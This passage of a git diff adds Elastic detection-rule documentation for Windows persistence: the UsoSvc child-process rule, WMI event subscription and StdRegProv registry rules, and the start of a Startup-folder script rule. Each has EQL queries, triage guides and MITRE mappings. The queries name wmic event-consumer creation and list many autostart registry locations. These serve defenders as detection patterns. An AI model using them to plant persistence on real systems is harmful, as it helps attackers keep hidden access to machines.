!{investigate{"description":"","label":"Alerts involving the same child executable","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review same `host.id` alerts only when child identity, command, queue, artifact, or destination evidence needs scope. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same child path or host shows repeated privilege-escalation, persistence, staging, or follow-on alerts; keep urgency local when isolated and no corroborating alert history appears. + +- Escalate on attacker-controlled UsoSvc child identity or command intent, using queue, artifact, destination, or related-alert evidence as corroboration; close only when alert-local and recovered evidence tie to one exact servicing or authorized validation workflow without contradictions; preserve artifacts and escalate when evidence is mixed, incomplete, or unavailable. + + +*False positive analysis* + + +- Windows Update, repair, or Office Click-to-Run servicing can trigger this rule when UsoSvc queues a servicing component outside the exclusions. Close from telemetry first: child path, signer, command line, parent service context, UScheduler queue content when available, artifacts, destinations, and `host.id` cohort must align with one recognized servicing workflow. Patch-window or change records may corroborate; prior alerts only prove exception stability after current evidence fits. +- Authorized exploit-validation or adversary-emulation tests can exercise Update Orchestrator abuse. Confirm stable payload identity such as `process.hash.sha256`, `process.command_line`, expected `host.id` or `user.id` test scope, matching queue content when available, and no spread to unrelated production hosts. Use engagement records or prior test alerts only as corroboration, and do not exception on `process.parent.executable`, "UsoSvc", or `process.name` alone. + + +*Response and remediation* + + +- If confirmed benign: + - Record the exact evidence that proved the servicing or test workflow: child identity, command line, parent service context, queue content when available, same-process artifacts or destinations, and recurrence or records. Then reverse temporary containment and build any exception from that minimum pattern plus `host.id`, not from UsoSvc or a generic signed-binary condition. +- If suspicious but unconfirmed: + - Preserve a case export with the alert process instance, process tree, command line, UScheduler queue values when available, writer-process details, written artifacts, destination indicators, and related-alert context before cleanup. + - Apply reversible containment tied to the finding, such as blocking the child hash or destination, temporarily disabling the queued work after preservation, or increasing host monitoring. Escalate to host isolation only when host criticality allows it and artifacts, destinations, or related alerts show active follow-on behavior. +- If confirmed malicious: + - Preserve the case export first: child `process.entity_id` or `process.pid`, command line, queue values, writer lineage, payload hashes, artifact paths, and destination indicators. Then isolate the host when the identity, command, queue, artifact, or destination evidence confirms unauthorized UsoSvc execution. + - Remove the malicious queued work or restore the Update Orchestrator registry state to known-good, eradicate only payloads and persistence artifacts identified during triage, validate that UsoSvc returns to recognized servicing children, and review other hosts for the same child path or queue pattern before deleting preserved evidence. +- Post-incident hardening: + - Apply the June 2020 or later Windows security updates where still applicable because the fix blocks untrusted caller queuing, retire unsupported builds, restrict write paths that can feed Update Orchestrator abuse, and retain registry/process telemetry for UScheduler queue changes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : "C:\\Windows\\System32\\svchost.exe" and + process.parent.args : "UsoSvc" and + not process.executable : ( + "?:\\Windows\\System32\\UsoClient.exe", + "?:\\Windows\\System32\\MusNotification.exe", + "?:\\Windows\\System32\\MusNotificationUx.exe", + "?:\\Windows\\System32\\MusNotifyIcon.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\WerMgr.exe", + "?:\\Windows\\UUS\\amd64\\UsoCoreWorker.exe", + "?:\\Windows\\System32\\UsoCoreWorker.exe" + ) and + not process.name : ("MoUsoCoreWorker.exe", "OfficeC2RClient.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Services Registry Permissions Weakness +** ID: T1574.011 +** Reference URL: https://attack.mitre.org/techniques/T1574/011/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-wmi-event-subscription.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-wmi-event-subscription.asciidoc new file mode 100644 index 0000000000..a097e36d02 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-wmi-event-subscription.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-persistence-via-wmi-event-subscription]] +=== Persistence via WMI Event Subscription + +An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via WMI Event Subscription* + + +Windows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. Adversaries exploit WMI by creating event subscriptions that trigger malicious code execution, ensuring persistence. The detection rule identifies suspicious use of `wmic.exe` to create event consumers, signaling potential abuse of WMI for persistence by monitoring specific process activities and arguments. + + +*Possible investigation steps* + + +- Review the process execution details for `wmic.exe` to confirm the presence of suspicious arguments such as "create", "ActiveScriptEventConsumer", or "CommandLineEventConsumer" that indicate potential WMI event subscription abuse. +- Examine the parent process of `wmic.exe` to determine how it was launched and assess whether this aligns with expected behavior or if it suggests malicious activity. +- Investigate the user account associated with the `wmic.exe` process to determine if it has the necessary privileges to create WMI event subscriptions and whether the account activity is consistent with normal operations. +- Check for any recent changes or additions to WMI event filters, consumers, or bindings on the affected system to identify unauthorized modifications that could indicate persistence mechanisms. +- Correlate the alert with other security events or logs from data sources like Microsoft Defender XDR or Sysmon to gather additional context and identify any related suspicious activities or patterns. + + +*False positive analysis* + + +- Legitimate administrative tasks using wmic.exe may trigger the rule, such as system monitoring or configuration changes. To handle this, identify and document routine administrative scripts and exclude them from triggering alerts. +- Software installations or updates that use WMI for legitimate event subscriptions can be mistaken for malicious activity. Maintain a list of trusted software and their expected behaviors to create exceptions in the detection rule. +- Automated system management tools that rely on WMI for event handling might cause false positives. Review and whitelist these tools by verifying their source and purpose to prevent unnecessary alerts. +- Security software or monitoring solutions that utilize WMI for legitimate purposes can be flagged. Collaborate with IT and security teams to identify these tools and adjust the rule to exclude their known benign activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes related to `wmic.exe` that are identified as creating event consumers, specifically those involving "ActiveScriptEventConsumer" or "CommandLineEventConsumer". +- Remove any unauthorized WMI event subscriptions by using tools like `wevtutil` or PowerShell scripts to list and delete suspicious event filters, consumers, and bindings. +- Conduct a thorough review of the system's WMI repository to ensure no other malicious or unauthorized configurations exist. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be assured through manual remediation. +- Update and patch the system to the latest security standards to mitigate any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "wmic.exe" or ?process.pe.original_file_name == "wmic.exe") and + process.args : "create" and + process.args : ("ActiveScriptEventConsumer", "CommandLineEventConsumer") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Windows Management Instrumentation Event Subscription +** ID: T1546.003 +** Reference URL: https://attack.mitre.org/techniques/T1546/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-wmi-standard-registry-provider.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-wmi-standard-registry-provider.asciidoc new file mode 100644 index 0000000000..4bf2c7bbbc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-wmi-standard-registry-provider.asciidoc @@ -0,0 +1,226 @@ +[[prebuilt-rule-8-19-34-persistence-via-wmi-standard-registry-provider]] +=== Persistence via WMI Standard Registry Provider + +Identifies use of the Windows Management Instrumentation StdRegProv (registry provider) to modify commonly abused registry locations for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/previous-versions/windows/desktop/regprov/stdregprov +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Persistence via WMI Standard Registry Provider* + + +*Possible investigation steps* + + +- Which StdRegProv-backed persistence value changed, and what will it run? + - Why: StdRegProv can set logon and service ASEPs through "WmiPrvSe.exe" without a child process from the requester; registry value data is the payload clue. + - Focus: `registry.path`, `registry.value`, `registry.data.type`, and `registry.data.strings`. + - Implication: escalate when machine-wide Run/RunOnce, Winlogon shell, policy script, "ServiceDLL", or "ImagePath" values launch user-writable, share-hosted, script-host, shell-replacement, or unusual service content; lower suspicion only when the exact value and data match a recognized WMI-based deployment, configuration, or test workflow. + +- Who is the logical requester behind the WMI provider host? + - Why: `process.executable` usually identifies the provider host; effective process fields can identify the StdRegProv requester. + - Focus: `Effective_process.executable`, `Effective_process.name`, `Effective_process.entity_id`, `process.executable`, and `process.entity_id`. + - Hint: do not clear on the Microsoft-signed provider host alone; attacker and admin tooling can both route registry writes through "WmiPrvSe.exe". + - Implication: escalate when the requester is blank with suspicious value data, or is a script host, user-writable binary, Office/browser descendant, or unexpected remote administration tool; lower suspicion when requester path and name match the management or deployment component that owns the value. + +- Does the launch and session context fit the expected WMI workflow? + - Focus: `process.command_line`, `process.parent.executable`, `process.parent.command_line`, `process.Ext.session_info.logon_type`, and `user.id`. + - Implication: escalate when WMI registry writes occur under an unexpected user, service, remote, or parent context; lower suspicion when parent chain, session type, and user scope match the same recognized management or validation workflow. + +- Did the payload referenced by the modified value execute? + - Focus: same-host process starts after `@timestamp` where `process.command_line` matches the payload from `registry.data.strings`. !{investigate{"description":"","label":"Process starts matching the modified registry payload","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.command_line","queryType":"phrase","value":"{{registry.data.strings}}","valueType":"string"}]],"relativeFrom":"now","relativeTo":"now"}} + - Hint: empty results do not prove non-execution; quoting, environment expansion, or arguments may require manual parsing. + - Implication: escalate when the payload launches after the WMI-backed registry change, especially from user-writable, share-hosted, service, shell, or script paths; keep unresolved when value data cannot be matched directly. + +- Did the same requester cluster additional persistence changes on this host? + - Why: clustered ASEP writes separate one managed configuration change from service-plus-logon fallback persistence. + - Focus: same-host registry changes by `Effective_process.entity_id`, or `process.entity_id` when the effective requester is blank, reviewing `registry.path`, `registry.value`, and `registry.data.strings`. !{investigate{"description":"","label":"Registry changes by the same effective requester","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"Effective_process.entity_id","queryType":"phrase","value":"{{Effective_process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the same requester changes multiple ASEPs, service values, shell values, or policy scripts in one timeline; lower suspicion when activity is limited to one exact value with data matching the recognized workflow. + +- If local evidence remains suspicious or unresolved, does the requester or host recur in recent alerts? + - Focus: recent alerts for `Effective_process.executable`. !{investigate{"description":"","label":"Alerts involving the same effective requester path","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"Effective_process.executable","queryType":"phrase","value":"{{Effective_process.executable}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: run the host alert view only after the registry target, requester, session, or same-host registry cluster remains suspicious or unresolved. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the requester path or host shows repeated WMI abuse, persistence changes, or related execution alerts; keep local when recurrence is absent and local evidence supports a recognized workflow. + +- Escalate for unrecognized or blank requester with suspicious value data, unexpected remote/service context, clustered ASEP changes, execution, or alert recurrence; close only when modified ASEP, value data, requester, process/session context, cluster, and recurrence evidence bind one recognized management or test workflow with no contradictory registry data; preserve evidence and escalate if mixed or incomplete. + + +*False positive analysis* + + +- Configuration managers, endpoint-management agents, installers, and hardening baselines can use StdRegProv to set Run keys, policy scripts, or service values. Confirm `Effective_process.executable`, `Effective_process.name`, parent context, registry path/value/data, and host or user scope converge on the same workflow. Use change records, owner confirmation, or tool inventory when available; otherwise require the same requester path, modified ASEP, and registry data pattern to recur across prior alerts from this rule on the same managed host cohort. +- Authorized security testing or detection validation can write persistence values through StdRegProv. Confirm the expected requester, exact value, value data, parsed payload path, test scope, and engagement records when available. Without records, require recurrence only on known test assets and no appearance on unrelated production hosts. Do not exception on `process.name`, "WmiPrvSe.exe", or a broad ASEP family alone. + + +*Response and remediation* + + +- If confirmed benign: + - Reverse temporary containment and document the requester identity, exact registry value and data, host or user scope, and the recurrence or records that proved the management or test workflow. Build exceptions from that minimum pattern, not from "WmiPrvSe.exe", `process.name`, or a broad registry key alone. +- If suspicious but unconfirmed: + - Preserve the alert event, exact registry value and data, effective requester identifiers, parsed payload path from the value data, and same-requester registry timeline before changing host state. + - Apply reversible containment tied to the evidence, such as disabling the exact Run, policy, shell, or service value, blocking the requester path, or increasing monitoring on the affected host. Use host isolation only when host criticality allows it and the registry or requester evidence shows active persistence risk. +- If confirmed malicious: + - Isolate the host after preserving the registry evidence, requester identifiers, parsed payload paths, and same-requester registry changes that established malicious activity; contain the affected account only when process or session evidence supports account misuse. + - Terminate the requester process only after recording the relevant entity or PID, then remove the malicious Run key, shell value, policy script, "ServiceDLL", or "ImagePath" change, restore the ASEP to known-good state, and remove only the payloads identified from the investigation. + - Review other hosts for the same requester path or registry pattern before deleting artifacts that may be needed for scoping. +- Post-incident hardening: + - Restrict unnecessary WMI and remote administration access, monitor WMI-hosted writes to high-value ASEPs, keep endpoint process and registry telemetry enabled, and document any visibility gaps surfaced during triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings != null and process.name : "WmiPrvSe.exe" and + registry.path : ( + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\ServiceDLL", + "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\ImagePath", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*", + "HKEY_USERS\\*\\Environment\\UserInitMprLogonScript", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "\\REGISTRY\\MACHINE\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Services\\*\\ServiceDLL", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Services\\*\\ImagePath", + "\\REGISTRY\\USER\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*", + "\\REGISTRY\\USER\\*\\Environment\\UserInitMprLogonScript", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec", + "\\REGISTRY\\USER\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Sub-technique: +** Name: Winlogon Helper DLL +** ID: T1547.004 +** Reference URL: https://attack.mitre.org/techniques/T1547/004/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistent-scripts-in-the-startup-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistent-scripts-in-the-startup-directory.asciidoc new file mode 100644 index 0000000000..81b5a464e1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistent-scripts-in-the-startup-directory.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-persistent-scripts-in-the-startup-directory]] +=== Persistent Scripts in the Startup Directory + +Identifies script engines creating files in the Startup folder, or the creation of script files in the Startup folder. Adversaries may abuse this technique to maintain persistence in an environment. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Performance* + + +This rule may have low to medium performance impact due to the generic nature of VBS and JS scripts being loaded by Windows script engines. + + +*Investigating Persistent Scripts in the Startup Directory* + + +The Windows Startup folder is a special folder in Windows. Programs added to this folder are executed during account logon, without user interaction, providing an excellent way for attackers to maintain persistence. + +This rule looks for shortcuts created by wscript.exe or cscript.exe, or js/vbs scripts created by any process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Related rules* + + +- Suspicious Startup Shell Folder 